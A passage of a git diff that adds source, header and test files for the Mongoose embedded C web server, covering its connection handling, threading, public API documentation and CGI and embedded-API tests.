+ // Set linger option to avoid socket hanging out after close. This prevent
+ // ephemeral port exhaust problem under high QPS.
+ linger.l_onoff = 1;
+ linger.l_linger = 1;
+ setsockopt(sock, SOL_SOCKET, SO_LINGER, (void *) &linger, sizeof(linger));
+
+ // Send FIN to the client
+ (void) shutdown(sock, SHUT_WR);
+ set_non_blocking_mode(sock);
+
+ // Read and discard pending data. If we do not do that and close the
+ // socket, the data in the send buffer may be discarded. This
+ // behaviour is seen on Windows, when client keeps sending data
+ // when server decide to close the connection; then when client
+ // does recv() it gets no data back.
+ do {
+ n = pull(NULL, sock, NULL, buf, sizeof(buf));
+ } while (n > 0);
+
+ // Now we know that our FIN is ACK-ed, safe to close
+ (void) closesocket(sock);
+}
+
+static void close_connection(struct mg_connection *conn) {
+ if (conn->ssl) {
+ SSL_free(conn->ssl);
+ conn->ssl = NULL;
+ }
+
+ if (conn->client.sock != INVALID_SOCKET) {
+ close_socket_gracefully(conn->client.sock);
+ }
+}
+
+static void discard_current_request_from_buffer(struct mg_connection *conn) {
+ char *buffered;
+ int buffered_len, body_len;
+
+ buffered = conn->buf + conn->request_len;
+ buffered_len = conn->data_len - conn->request_len;
+ assert(buffered_len >= 0);
+
+ if (conn->content_len == -1) {
+ body_len = 0;
+ } else if (conn->content_len < (int64_t) buffered_len) {
+ body_len = (int) conn->content_len;
+ } else {
+ body_len = buffered_len;
+ }
+
+ conn->data_len -= conn->request_len + body_len;
+ memmove(conn->buf, conn->buf + conn->request_len + body_len,
+ (size_t) conn->data_len);
+}
+
+static int is_valid_uri(const char *uri) {
+ // Conform to http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html#sec5.1.2
+ // URI can be an asterisk (*) or should start with slash.
+ return uri[0] == '/' || (uri[0] == '*' && uri[1] == '\0');
+}
+
+static void process_new_connection(struct mg_connection *conn) {
+ struct mg_request_info *ri = &conn->request_info;
+ int keep_alive_enabled;
+ const char *cl;
+
+ keep_alive_enabled = !strcmp(conn->ctx->config[ENABLE_KEEP_ALIVE], "yes");
+
+ do {
+ reset_per_request_attributes(conn);
+
+ // If next request is not pipelined, read it in
+ if ((conn->request_len = get_request_len(conn->buf, conn->data_len)) == 0) {
+ conn->request_len = read_request(NULL, conn->client.sock, conn->ssl,
+ conn->buf, conn->buf_size, &conn->data_len);
+ }
+ assert(conn->data_len >= conn->request_len);
+ if (conn->request_len == 0 && conn->data_len == conn->buf_size) {
+ send_http_error(conn, 413, "Request Too Large", "");
+ return;
+ } if (conn->request_len <= 0) {
+ return; // Remote end closed the connection
+ }
+
+ // Nul-terminate the request cause parse_http_request() uses sscanf
+ conn->buf[conn->request_len - 1] = '\0';
+ if (!parse_http_request(conn->buf, ri) || !is_valid_uri(ri->uri)) {
+ // Do not put garbage in the access log, just send it back to the client
+ send_http_error(conn, 400, "Bad Request",
+ "Cannot parse HTTP request: [%.*s]", conn->data_len, conn->buf);
+ } else if (strcmp(ri->http_version, "1.0") &&
+ strcmp(ri->http_version, "1.1")) {
+ // Request seems valid, but HTTP version is strange
+ send_http_error(conn, 505, "HTTP version not supported", "");
+ log_access(conn);
+ } else {
+ // Request is valid, handle it
+ cl = get_header(ri, "Content-Length");
+ conn->content_len = cl == NULL ? -1 : strtoll(cl, NULL, 10);
+ conn->birth_time = time(NULL);
+ handle_request(conn);
+ call_user(conn, MG_REQUEST_COMPLETE);
+ log_access(conn);
+ discard_current_request_from_buffer(conn);
+ }
+ if (ri->remote_user != NULL) {
+ free((void *) ri->remote_user);
+ }
+ } while (conn->ctx->stop_flag == 0 &&
+ keep_alive_enabled &&
+ should_keep_alive(conn));
+}
+
+// Worker threads take accepted socket from the queue
+static int consume_socket(struct mg_context *ctx, struct socket *sp) {
+ (void) pthread_mutex_lock(&ctx->mutex);
+ DEBUG_TRACE(("going idle"));
+
+ // If the queue is empty, wait. We're idle at this point.
+ while (ctx->sq_head == ctx->sq_tail && ctx->stop_flag == 0) {
+ pthread_cond_wait(&ctx->sq_full, &ctx->mutex);
+ }
+
+ // If we're stopping, sq_head may be equal to sq_tail.
+ if (ctx->sq_head > ctx->sq_tail) {
+ // Copy socket from the queue and increment tail
+ *sp = ctx->queue[ctx->sq_tail % ARRAY_SIZE(ctx->queue)];
+ ctx->sq_tail++;
+ DEBUG_TRACE(("grabbed socket %d, going busy", sp->sock));
+
+ // Wrap pointers if needed
+ while (ctx->sq_tail > (int) ARRAY_SIZE(ctx->queue)) {
+ ctx->sq_tail -= ARRAY_SIZE(ctx->queue);
+ ctx->sq_head -= ARRAY_SIZE(ctx->queue);
+ }
+ }
+
+ (void) pthread_cond_signal(&ctx->sq_empty);
+ (void) pthread_mutex_unlock(&ctx->mutex);
+
+ return !ctx->stop_flag;
+}
+
+static void worker_thread(struct mg_context *ctx) {
+ struct mg_connection *conn;
+ int buf_size = atoi(ctx->config[MAX_REQUEST_SIZE]);
+
+ conn = (struct mg_connection *) calloc(1, sizeof(*conn) + buf_size);
+ if (conn == NULL) {
+ cry(fc(ctx), "%s", "Cannot create new connection struct, OOM");
+ return;
+ }
+ conn->buf_size = buf_size;
+ conn->buf = (char *) (conn + 1);
+
+ // Call consume_socket() even when ctx->stop_flag > 0, to let it signal
+ // sq_empty condvar to wake up the master waiting in produce_socket()
+ while (consume_socket(ctx, &conn->client)) {
+ conn->birth_time = time(NULL);
+ conn->ctx = ctx;
+
+ // Fill in IP, port info early so even if SSL setup below fails,
+ // error handler would have the corresponding info.
+ // Thanks to Johannes Winkelmann for the patch.
+ // TODO(lsm): Fix IPv6 case
+ conn->request_info.remote_port = ntohs(conn->client.rsa.sin.sin_port);
+ memcpy(&conn->request_info.remote_ip,
+ &conn->client.rsa.sin.sin_addr.s_addr, 4);
+ conn->request_info.remote_ip = ntohl(conn->request_info.remote_ip);
+ conn->request_info.is_ssl = conn->client.is_ssl;
+
+ if (!conn->client.is_ssl ||
+ (conn->client.is_ssl && sslize(conn, SSL_accept))) {
+ process_new_connection(conn);
+ }
+
+ close_connection(conn);
+ }
+ free(conn);
+
+ // Signal master that we're done with connection and exiting
+ (void) pthread_mutex_lock(&ctx->mutex);
+ ctx->num_threads--;
+ (void) pthread_cond_signal(&ctx->cond);
+ assert(ctx->num_threads >= 0);
+ (void) pthread_mutex_unlock(&ctx->mutex);
+
+ DEBUG_TRACE(("exiting"));
+}
+
+// Master thread adds accepted socket to a queue
+static void produce_socket(struct mg_context *ctx, const struct socket *sp) {
+ (void) pthread_mutex_lock(&ctx->mutex);
+
+ // If the queue is full, wait
+ while (ctx->stop_flag == 0 &&
+ ctx->sq_head - ctx->sq_tail >= (int) ARRAY_SIZE(ctx->queue)) {
+ (void) pthread_cond_wait(&ctx->sq_empty, &ctx->mutex);
+ }
+
+ if (ctx->sq_head - ctx->sq_tail < (int) ARRAY_SIZE(ctx->queue)) {
+ // Copy socket to the queue and increment head
+ ctx->queue[ctx->sq_head % ARRAY_SIZE(ctx->queue)] = *sp;
+ ctx->sq_head++;
+ DEBUG_TRACE(("queued socket %d", sp->sock));
+ }
+
+ (void) pthread_cond_signal(&ctx->sq_full);
+ (void) pthread_mutex_unlock(&ctx->mutex);
+}
+
+static void accept_new_connection(const struct socket *listener,
+ struct mg_context *ctx) {
+ struct socket accepted;
+ char src_addr[20];
+ socklen_t len;
+ int allowed;
+
+ len = sizeof(accepted.rsa);
+ accepted.lsa = listener->lsa;
+ accepted.sock = accept(listener->sock, &accepted.rsa.sa, &len);
+ if (accepted.sock != INVALID_SOCKET) {
+ allowed = check_acl(ctx, &accepted.rsa);
+ if (allowed) {
+ // Put accepted socket structure into the queue
+ DEBUG_TRACE(("accepted socket %d", accepted.sock));
+ accepted.is_ssl = listener->is_ssl;
+ produce_socket(ctx, &accepted);
+ } else {
+ sockaddr_to_string(src_addr, sizeof(src_addr), &accepted.rsa);
+ cry(fc(ctx), "%s: %s is not allowed to connect", __func__, src_addr);
+ (void) closesocket(accepted.sock);
+ }
+ }
+}
+
+static void master_thread(struct mg_context *ctx) {
+ fd_set read_set;
+ struct timeval tv;
+ struct socket *sp;
+ int max_fd;
+
+ // Increase priority of the master thread
+#if defined(_WIN32)
+ SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL);
+#endif
+
+#if defined(ISSUE_317)
+ struct sched_param sched_param;
+ sched_param.sched_priority = sched_get_priority_max(SCHED_RR);
+ pthread_setschedparam(pthread_self(), SCHED_RR, &sched_param);
+#endif
+
+ while (ctx->stop_flag == 0) {
+ FD_ZERO(&read_set);
+ max_fd = -1;
+
+ // Add listening sockets to the read set
+ for (sp = ctx->listening_sockets; sp != NULL; sp = sp->next) {
+ add_to_set(sp->sock, &read_set, &max_fd);
+ }
+
+ tv.tv_sec = 0;
+ tv.tv_usec = 200 * 1000;
+
+ if (select(max_fd + 1, &read_set, NULL, NULL, &tv) < 0) {
+#ifdef _WIN32
+ // On windows, if read_set and write_set are empty,
+ // select() returns "Invalid parameter" error
+ // (at least on my Windows XP Pro). So in this case, we sleep here.
+ sleep(1);
+#endif // _WIN32
+ } else {
+ for (sp = ctx->listening_sockets; sp != NULL; sp = sp->next) {
+ if (ctx->stop_flag == 0 && FD_ISSET(sp->sock, &read_set)) {
+ accept_new_connection(sp, ctx);
+ }
+ }
+ }
+ }
+ DEBUG_TRACE(("stopping workers"));
+
+ // Stop signal received: somebody called mg_stop. Quit.
+ close_all_listening_sockets(ctx);
+
+ // Wakeup workers that are waiting for connections to handle.
+ pthread_cond_broadcast(&ctx->sq_full);
+
+ // Wait until all threads finish
+ (void) pthread_mutex_lock(&ctx->mutex);
+ while (ctx->num_threads > 0) {
+ (void) pthread_cond_wait(&ctx->cond, &ctx->mutex);
+ }
+ (void) pthread_mutex_unlock(&ctx->mutex);
+
+ // All threads exited, no sync is needed. Destroy mutex and condvars
+ (void) pthread_mutex_destroy(&ctx->mutex);
+ (void) pthread_cond_destroy(&ctx->cond);
+ (void) pthread_cond_destroy(&ctx->sq_empty);
+ (void) pthread_cond_destroy(&ctx->sq_full);
+
+#if !defined(NO_SSL)
+ uninitialize_ssl(ctx);
+#endif
+
+ // Signal mg_stop() that we're done
+ ctx->stop_flag = 2;
+
+ DEBUG_TRACE(("exiting"));
+}
+
+static void free_context(struct mg_context *ctx) {
+ int i;
+
+ // Deallocate config parameters
+ for (i = 0; i < NUM_OPTIONS; i++) {
+ if (ctx->config[i] != NULL)
+ free(ctx->config[i]);
+ }
+
+ // Deallocate SSL context
+ if (ctx->ssl_ctx != NULL) {
+ SSL_CTX_free(ctx->ssl_ctx);
+ }
+#ifndef NO_SSL
+ if (ssl_mutexes != NULL) {
+ free(ssl_mutexes);
+ }
+#endif // !NO_SSL
+
+ // Deallocate context itself
+ free(ctx);
+}
+
+void mg_stop(struct mg_context *ctx) {
+ ctx->stop_flag = 1;
+
+ // Wait until mg_fini() stops
+ while (ctx->stop_flag != 2) {
+ (void) sleep(0);
+ }
+ free_context(ctx);
+
+#if defined(_WIN32) && !defined(__SYMBIAN32__)
+ (void) WSACleanup();
+#endif // _WIN32
+}
+
+struct mg_context *mg_start(mg_callback_t user_callback, void *user_data,
+ const char **options) {
+ struct mg_context *ctx;
+ const char *name, *value, *default_value;
+ int i;
+
+#if defined(_WIN32) && !defined(__SYMBIAN32__)
+ WSADATA data;
+ WSAStartup(MAKEWORD(2,2), &data);
+ InitializeCriticalSection(&global_log_file_lock);
+#endif // _WIN32
+
+ // Allocate context and initialize reasonable general case defaults.
+ // TODO(lsm): do proper error handling here.
+ ctx = (struct mg_context *) calloc(1, sizeof(*ctx));
+ ctx->user_callback = user_callback;
+ ctx->user_data = user_data;
+
+ while (options && (name = *options++) != NULL) {
+ if ((i = get_option_index(name)) == -1) {
+ cry(fc(ctx), "Invalid option: %s", name);
+ free_context(ctx);
+ return NULL;
+ } else if ((value = *options++) == NULL) {
+ cry(fc(ctx), "%s: option value cannot be NULL", name);
+ free_context(ctx);
+ return NULL;
+ }
+ if (ctx->config[i] != NULL) {
+ cry(fc(ctx), "%s: duplicate option", name);
+ }
+ ctx->config[i] = mg_strdup(value);
+ DEBUG_TRACE(("[%s] -> [%s]", name, value));
+ }
+
+ // Set default value if needed
+ for (i = 0; config_options[i * ENTRIES_PER_CONFIG_OPTION] != NULL; i++) {
+ default_value = config_options[i * ENTRIES_PER_CONFIG_OPTION + 2];
+ if (ctx->config[i] == NULL && default_value != NULL) {
+ ctx->config[i] = mg_strdup(default_value);
+ DEBUG_TRACE(("Setting default: [%s] -> [%s]",
+ config_options[i * ENTRIES_PER_CONFIG_OPTION + 1],
+ default_value));
+ }
+ }
+
+ // NOTE(lsm): order is important here. SSL certificates must
+ // be initialized before listening ports. UID must be set last.
+ if (!set_gpass_option(ctx) ||
+#if !defined(NO_SSL)
+ !set_ssl_option(ctx) ||
+#endif
+ !set_ports_option(ctx) ||
+#if !defined(_WIN32)
+ !set_uid_option(ctx) ||
+#endif
+ !set_acl_option(ctx)) {
+ free_context(ctx);
+ return NULL;
+ }
+
+#if !defined(_WIN32) && !defined(__SYMBIAN32__)
+ // Ignore SIGPIPE signal, so if browser cancels the request, it
+ // won't kill the whole process.
+ (void) signal(SIGPIPE, SIG_IGN);
+ // Also ignoring SIGCHLD to let the OS to reap zombies properly.
+ (void) signal(SIGCHLD, SIG_IGN);
+#endif // !_WIN32
+
+ (void) pthread_mutex_init(&ctx->mutex, NULL);
+ (void) pthread_cond_init(&ctx->cond, NULL);
+ (void) pthread_cond_init(&ctx->sq_empty, NULL);
+ (void) pthread_cond_init(&ctx->sq_full, NULL);
+
+ // Start master (listening) thread
+ start_thread(ctx, (mg_thread_func_t) master_thread, ctx);
+
+ // Start worker threads
+ for (i = 0; i < atoi(ctx->config[NUM_THREADS]); i++) {
+ if (start_thread(ctx, (mg_thread_func_t) worker_thread, ctx) != 0) {
+ cry(fc(ctx), "Cannot start worker thread: %d", ERRNO);
+ } else {
+ ctx->num_threads++;
+ }
+ }
+
+ return ctx;
+}
diff --git a/mongoose/mongoose.h b/mongoose/mongoose.h
new file mode 100644
index 0000000..f97f417
--- /dev/null
+++ b/mongoose/mongoose.h
@@ -0,0 +1,238 @@
+// Copyright (c) 2004-2011 Sergey Lyubka
+//
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be included in
+// all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+// THE SOFTWARE.
+
+#ifndef MONGOOSE_HEADER_INCLUDED
+#define MONGOOSE_HEADER_INCLUDED
+
+#include <stddef.h>
+
+#ifdef __cplusplus
+extern "C" {
+#endif // __cplusplus
+
+struct mg_context; // Handle for the HTTP service itself
+struct mg_connection; // Handle for the individual connection
+
+
+// This structure contains information about the HTTP request.
+struct mg_request_info {
+ void *user_data; // User-defined pointer passed to mg_start()
+ char *request_method; // "GET", "POST", etc
+ char *uri; // URL-decoded URI
+ char *http_version; // E.g. "1.0", "1.1"
+ char *query_string; // URL part after '?' (not including '?') or NULL
+ char *remote_user; // Authenticated user, or NULL if no auth used
+ char *log_message; // Mongoose error log message, MG_EVENT_LOG only
+ long remote_ip; // Client's IP address
+ int remote_port; // Client's port
+ int status_code; // HTTP reply status code, e.g. 200
+ int is_ssl; // 1 if SSL-ed, 0 if not
+ int num_headers; // Number of headers
+ struct mg_header {
+ char *name; // HTTP header name
+ char *value; // HTTP header value
+ } http_headers[64]; // Maximum 64 headers
+};
+
+// Various events on which user-defined function is called by Mongoose.
+enum mg_event {
+ MG_NEW_REQUEST, // New HTTP request has arrived from the client
+ MG_HTTP_ERROR, // HTTP error must be returned to the client
+ MG_EVENT_LOG, // Mongoose logs an event, request_info.log_message
+ MG_INIT_SSL, // Mongoose initializes SSL. Instead of mg_connection *,
+ // SSL context is passed to the callback function.
+ MG_REQUEST_COMPLETE // Mongoose has finished handling the request
+};
+
+// Prototype for the user-defined function. Mongoose calls this function
+// on every MG_* event.
+//
+// Parameters:
+// event: which event has been triggered.
+// conn: opaque connection handler. Could be used to read, write data to the
+// client, etc. See functions below that have "mg_connection *" arg.
+// request_info: Information about HTTP request.
+//
+// Return:
+// If handler returns non-NULL, that means that handler has processed the
+// request by sending appropriate HTTP reply to the client. Mongoose treats
+// the request as served.
+// If handler returns NULL, that means that handler has not processed
+// the request. Handler must not send any data to the client in this case.
+// Mongoose proceeds with request handling as if nothing happened.
+typedef void * (*mg_callback_t)(enum mg_event event,
+ struct mg_connection *conn,
+ const struct mg_request_info *request_info);
+
+
+// Start web server.
+//
+// Parameters:
+// callback: user defined event handling function or NULL.
+// options: NULL terminated list of option_name, option_value pairs that
+// specify Mongoose configuration parameters.
+//
+// Side-effects: on UNIX, ignores SIGCHLD and SIGPIPE signals. If custom
+// processing is required for these, signal handlers must be set up
+// after calling mg_start().
+//
+//
+// Example:
+// const char *options[] = {
+// "document_root", "/var/www",
+// "listening_ports", "80,443s",
+// NULL
+// };
+// struct mg_context *ctx = mg_start(&my_func, NULL, options);
+//
+// Please refer to http://code.google.com/p/mongoose/wiki/MongooseManual
+// for the list of valid option and their possible values.
+//
+// Return:
+// web server context, or NULL on error.
+struct mg_context *mg_start(mg_callback_t callback, void *user_data,
+ const char **options);
+
+
+// Stop the web server.
+//
+// Must be called last, when an application wants to stop the web server and
+// release all associated resources. This function blocks until all Mongoose
+// threads are stopped. Context pointer becomes invalid.
+void mg_stop(struct mg_context *);
+
+
+// Get the value of particular configuration parameter.
+// The value returned is read-only. Mongoose does not allow changing
+// configuration at run time.
+// If given parameter name is not valid, NULL is returned. For valid
+// names, return value is guaranteed to be non-NULL. If parameter is not
+// set, zero-length string is returned.
+const char *mg_get_option(const struct mg_context *ctx, const char *name);
+
+
+// Return array of strings that represent valid configuration options.
+// For each option, a short name, long name, and default value is returned.
+// Array is NULL terminated.
+const char **mg_get_valid_option_names(void);
+
+
+// Add, edit or delete the entry in the passwords file.
+//
+// This function allows an application to manipulate .htpasswd files on the
+// fly by adding, deleting and changing user records. This is one of the
+// several ways of implementing authentication on the server side. For another,
+// cookie-based way please refer to the examples/chat.c in the source tree.
+//
+// If password is not NULL, entry is added (or modified if already exists).
+// If password is NULL, entry is deleted.
+//
+// Return:
+// 1 on success, 0 on error.
+int mg_modify_passwords_file(const char *passwords_file_name,
+ const char *domain,
+ const char *user,
+ const char *password);
+
+// Send data to the client.
+int mg_write(struct mg_connection *, const void *buf, size_t len);
+
+
+// Send data to the browser using printf() semantics.
+//
+// Works exactly like mg_write(), but allows to do message formatting.
+// Note that mg_printf() uses internal buffer of size IO_BUF_SIZE
+// (8 Kb by default) as temporary message storage for formatting. Do not
+// print data that is bigger than that, otherwise it will be truncated.
+int mg_printf(struct mg_connection *, const char *fmt, ...)
+#ifdef __GNUC__
+__attribute__((format(printf, 2, 3)))
+#endif
+;
+
+
+// Send contents of the entire file together with HTTP headers.
+void mg_send_file(struct mg_connection *conn, const char *path);
+
+
+// Read data from the remote end, return number of bytes read.
+int mg_read(struct mg_connection *, void *buf, size_t len);
+
+
+// Get the value of particular HTTP header.
+//
+// This is a helper function. It traverses request_info->http_headers array,
+// and if the header is present in the array, returns its value. If it is
+// not present, NULL is returned.
+const char *mg_get_header(const struct mg_connection *, const char *name);
+
+
+// Get a value of particular form variable.
+//
+// Parameters:
+// data: pointer to form-uri-encoded buffer. This could be either POST data,
+// or request_info.query_string.
+// data_len: length of the encoded data.
+// var_name: variable name to decode from the buffer
+// buf: destination buffer for the decoded variable
+// buf_len: length of the destination buffer
+//
+// Return:
+// On success, length of the decoded variable.
+// On error, -1 (variable not found, or destination buffer is too small).
+//
+// Destination buffer is guaranteed to be '\0' - terminated. In case of
+// failure, dst[0] == '\0'.
+int mg_get_var(const char *data, size_t data_len,
+ const char *var_name, char *buf, size_t buf_len);
+
+// Fetch value of certain cookie variable into the destination buffer.
+//
+// Destination buffer is guaranteed to be '\0' - terminated. In case of
+// failure, dst[0] == '\0'. Note that RFC allows many occurrences of the same
+// parameter. This function returns only first occurrence.
+//
+// Return:
+// On success, value length.
+// On error, 0 (either "Cookie:" header is not present at all, or the
+// requested parameter is not found, or destination buffer is too small
+// to hold the value).
+int mg_get_cookie(const struct mg_connection *,
+ const char *cookie_name, char *buf, size_t buf_len);
+
+
+// Return Mongoose version.
+const char *mg_version(void);
+
+
+// MD5 hash given strings.
+// Buffer 'buf' must be 33 bytes long. Varargs is a NULL terminated list of
+// asciiz strings. When function returns, buf will contain human-readable
+// MD5 hash. Example:
+// char buf[33];
+// mg_md5(buf, "aa", "bb", NULL);
+void mg_md5(char *buf, ...);
+
+
+#ifdef __cplusplus
+}
+#endif // __cplusplus
+
+#endif // MONGOOSE_HEADER_INCLUDED
diff --git a/mongoose/test/.leading.dot.txt b/mongoose/test/.leading.dot.txt
new file mode 100644
index 0000000..0e4b0c7
--- /dev/null
+++ b/mongoose/test/.leading.dot.txt
@@ -0,0 +1 @@
+abc123
diff --git a/mongoose/test/\/a.txt b/mongoose/test/\/a.txt
new file mode 100644
index 0000000..907b308
--- /dev/null
+++ b/mongoose/test/\/a.txt
@@ -0,0 +1 @@
+blah
diff --git a/mongoose/test/all_build_flags.pl b/mongoose/test/all_build_flags.pl
new file mode 100644
index 0000000..ee225f9
--- /dev/null
+++ b/mongoose/test/all_build_flags.pl
@@ -0,0 +1,28 @@
+#!/usr/bin/env perl
+
+@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
+my $num_flags = @flags;
+
+sub fail {
+ print "FAILED: @_\n";
+ exit 1;
+}
+
+my $platform = $ARGV[0] || "linux";
+
+for (my $i = 0; $i < 2 ** $num_flags; $i++) {
+ my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
+ my @combination = ();
+ for (my $j = 0; $j < $num_flags; $j++) {
+ push @combination, $flags[$j] if substr($bitmask, $j, 1);
+ }
+ my $defines = join(" ", map { "-D$_" } @combination);
+ my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
+ system($cmd) == 0 or fail "build failed: $_";
+ print "Build succeeded, flags: [$defines]\n";
+ system("perl test/test.pl basic_tests >/dev/null") == 0
+ or fail "basic tests";
+ print "Basic tests: OK\n";
+}
+
+print "PASS: All builds passed!\n";
diff --git a/mongoose/test/bad.cgi b/mongoose/test/bad.cgi
new file mode 100755
index 0000000..ee4102b
--- /dev/null
+++ b/mongoose/test/bad.cgi
@@ -0,0 +1,5 @@
+#!/bin/sh
+
+echo "echoing bad headers: server must report status 500"
+exec 1>&2
+echo shit!!!
diff --git a/mongoose/test/embed.c b/mongoose/test/embed.c
new file mode 100644
index 0000000..b410901
--- /dev/null
+++ b/mongoose/test/embed.c
@@ -0,0 +1,181 @@
+// Copyright (c) 2004-2009 Sergey Lyubka
+//
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be included in
+// all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+// THE SOFTWARE.
+//
+// Unit test for the mongoose web server. Tests embedded API.
+
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#ifndef _WIN32
+#include <unistd.h>
+#endif
+
+#include "mongoose.h"
+
+#if !defined(LISTENING_PORT)
+#define LISTENING_PORT "23456"
+#endif
+
+static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
+ "Content-Type: text/plain\r\n"
+ "Connection: close\r\n\r\n";
+
+static void test_get_var(struct mg_connection *conn,
+ const struct mg_request_info *ri) {
+ char *var, *buf;
+ size_t buf_len;
+ const char *cl;
+ int var_len;
+
+ mg_printf(conn, "%s", standard_reply);
+
+ buf_len = 0;
+ var = buf = NULL;
+ cl = mg_get_header(conn, "Content-Length");
+ mg_printf(conn, "cl: %p\n", cl);
+ if ((!strcmp(ri->request_method, "POST") ||
+ !strcmp(ri->request_method, "PUT"))
+ && cl != NULL) {
+ buf_len = atoi(cl);
+ buf = malloc(buf_len);
+ /* Read in two pieces, to test continuation */
+ if (buf_len > 2) {
+ mg_read(conn, buf, 2);
+ mg_read(conn, buf + 2, buf_len - 2);
+ } else {
+ mg_read(conn, buf, buf_len);
+ }
+ } else if (ri->query_string != NULL) {
+ buf_len = strlen(ri->query_string);
+ buf = malloc(buf_len + 1);
+ strcpy(buf, ri->query_string);
+ }
+ var = malloc(buf_len + 1);
+ var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
+ mg_printf(conn, "Value: [%s]\n", var);
+ mg_printf(conn, "Value size: [%d]\n", var_len);
+ free(buf);
+ free(var);
+}
+
+static void test_get_header(struct mg_connection *conn,
+ const struct mg_request_info *ri) {
+ const char *value;
+ int i;
+
+ mg_printf(conn, "%s", standard_reply);
+ printf("HTTP headers: %d\n", ri->num_headers);
+ for (i = 0; i < ri->num_headers; i++) {
+ printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
+ }
+
+ value = mg_get_header(conn, "Host");
+ if (value != NULL) {
+ mg_printf(conn, "Value: [%s]", value);
+ }
+}
+
+static void test_get_request_info(struct mg_connection *conn,
+ const struct mg_request_info *ri) {
+ int i;
+
+ mg_printf(conn, "%s", standard_reply);
+
+ mg_printf(conn, "Method: [%s]\n", ri->request_method);
+ mg_printf(conn, "URI: [%s]\n", ri->uri);
+ mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
+
+ for (i = 0; i < ri->num_headers; i++) {
+ mg_printf(conn, "HTTP header [%s]: [%s]\n",
+ ri->http_headers[i].name,
+ ri->http_headers[i].value);
+ }
+
+ mg_printf(conn, "Query string: [%s]\n",
+ ri->query_string ? ri->query_string: "");
+ mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
+ mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
+ mg_printf(conn, "Remote user: [%s]\n",
+ ri->remote_user ? ri->remote_user : "");
+}
+
+static void test_error(struct mg_connection *conn,
+ const struct mg_request_info *ri) {
+ mg_printf(conn, "HTTP/1.1 %d XX\r\n"
+ "Conntection: close\r\n\r\n", ri->status_code);
+ mg_printf(conn, "Error: [%d]", ri->status_code);
+}
+
+static void test_post(struct mg_connection *conn,
+ const struct mg_request_info *ri) {
+ const char *cl;
+ char *buf;
+ int len;
+
+ mg_printf(conn, "%s", standard_reply);
+ if (strcmp(ri->request_method, "POST") == 0 &&
+ (cl = mg_get_header(conn, "Content-Length")) != NULL) {
+ len = atoi(cl);
+ if ((buf = malloc(len)) != NULL) {
+ mg_write(conn, buf, len);
+ free(buf);
+ }
+ }
+}
+
+static const struct test_config {
+ enum mg_event event;
+ const char *uri;
+ void (*func)(struct mg_connection *, const struct mg_request_info *);
+} test_config[] = {
+ {MG_NEW_REQUEST, "/test_get_header", &test_get_header},
+ {MG_NEW_REQUEST, "/test_get_var", &test_get_var},
+ {MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
+ {MG_NEW_REQUEST, "/test_post", &test_post},
+ {MG_HTTP_ERROR, "", &test_error},
+ {0, NULL, NULL}
+};
+
+static void *callback(enum mg_event event,
+ struct mg_connection *conn,
+ const struct mg_request_info *request_info) {
+ int i;
+
+ for (i = 0; test_config[i].uri != NULL; i++) {
+ if (event == test_config[i].event &&
+ (event == MG_HTTP_ERROR ||
+ !strcmp(request_info->uri, test_config[i].uri))) {
+ test_config[i].func(conn, request_info);
+ return "processed";
+ }
+ }
+
+ return NULL;
+}
+
+int main(void) {
+ struct mg_context *ctx;
+ const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
+
+ ctx = mg_start(callback, NULL, options);
+ pause();
+ return 0;
+}
diff --git a/mongoose/test/env.cgi b/mongoose/test/env.cgi
new file mode 100755
index 0000000..cb60dc3
--- /dev/null
+++ b/mongoose/test/env.cgi
@@ -0,0 +1,50 @@
+#!/usr/bin/env perl
+
+use Cwd;
+use CGI;
+
+use vars '%in';
+CGI::ReadParse();
+
+print "Content-Type: text/html\r\n\r\n";
+
+print "<pre>\n";
+foreach my $key (sort keys %ENV) {
+ print "$key=$ENV{$key}\n";
+}
+
+print "\n";
+
+foreach my $key (sort keys %in) {
+ print "$key=$in{$key}\n";
+}
+
+print "\n";
+
